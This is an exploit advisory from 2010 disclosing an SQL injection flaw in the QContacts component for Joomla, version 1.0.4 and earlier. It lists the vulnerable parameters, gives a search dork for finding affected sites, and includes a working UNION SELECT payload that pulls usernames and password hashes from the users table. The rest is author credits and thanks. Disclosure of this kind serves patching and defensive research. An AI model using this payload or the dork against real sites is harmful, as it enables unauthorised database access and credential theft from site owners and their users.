82 lines
No EOL
2.3 KiB
Text
82 lines
No EOL
2.3 KiB
Text
# Exploit Title: Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability
|
|
# Date: 12, July 2010
|
|
|
|
# Author: _mlk_
|
|
# Software Link: http://bugsec.googlecode.com/files/Joomla_com_qcontacts.zip
|
|
# Version: 1.0.4 and previous
|
|
# Tested on: all OS
|
|
|
|
# CVE : 0
|
|
|
|
# Code : here
|
|
|
|
Joomla Component QContacts (com_qcontacts) - SQL Injection Vulnerability
|
|
|
|
#################################################################################################################
|
|
|
|
|
|
[+] Discovered by : _mlk_ (Renan)
|
|
|
|
[+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs
|
|
|
|
[+] Homepages : http://code.google.com/p/bugsec/
|
|
http://botecounix.com.br/blog/
|
|
http://c0d3rs.wordpress.com/
|
|
|
|
[+] Location : Porto Alegre - RS, Brasil
|
|
(or Brazil)
|
|
|
|
#################################################################################################################
|
|
|
|
|
|
[-] Information
|
|
|
|
[?] Script : QContacts
|
|
|
|
[?] FAQ : http://www.latenight-coding.com/joomla-addons/qcontacts.html
|
|
|
|
[?] Versions Tested: 1.0.4 and previous
|
|
|
|
[?] Dork/String : "index.php?option=com_qcontacts" / "com_qcontacts"
|
|
|
|
[?] Date : 12, July 2010
|
|
|
|
|
|
-----------------------------------------------------------------------------------------------------------------
|
|
|
|
|
|
[*] Parameters vuls :
|
|
|
|
Itemid
|
|
id
|
|
catid
|
|
|
|
|
|
-----------------------------------------------------------------------------------------------------------------
|
|
|
|
|
|
[*] Example :
|
|
|
|
http://localhost/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]
|
|
http://localhost/[PATH]/index.php?option=com_qcontacts&Itemid=1 [SQL-Inject]
|
|
|
|
|
|
-----------------------------------------------------------------------------------------------------------------
|
|
|
|
|
|
[*] Demo :
|
|
|
|
http://<server>/path/index.php?option=com_qcontacts&view=contact&id=1&Itemid=-541
|
|
+union+select+concat(id,0x3a,name,0x3a,username,0x3a,password)+from+cms01_users--
|
|
|
|
|
|
#################################################################################################################
|
|
|
|
|
|
[~] Agradecimentos :
|
|
|
|
Deus , Familiares , Amigos e Tricolor Gaúcho (Grêmio) .
|
|
Em especial "i4k" ( alien \o/ ) .
|
|
|
|
|
|
################################################################################################################# |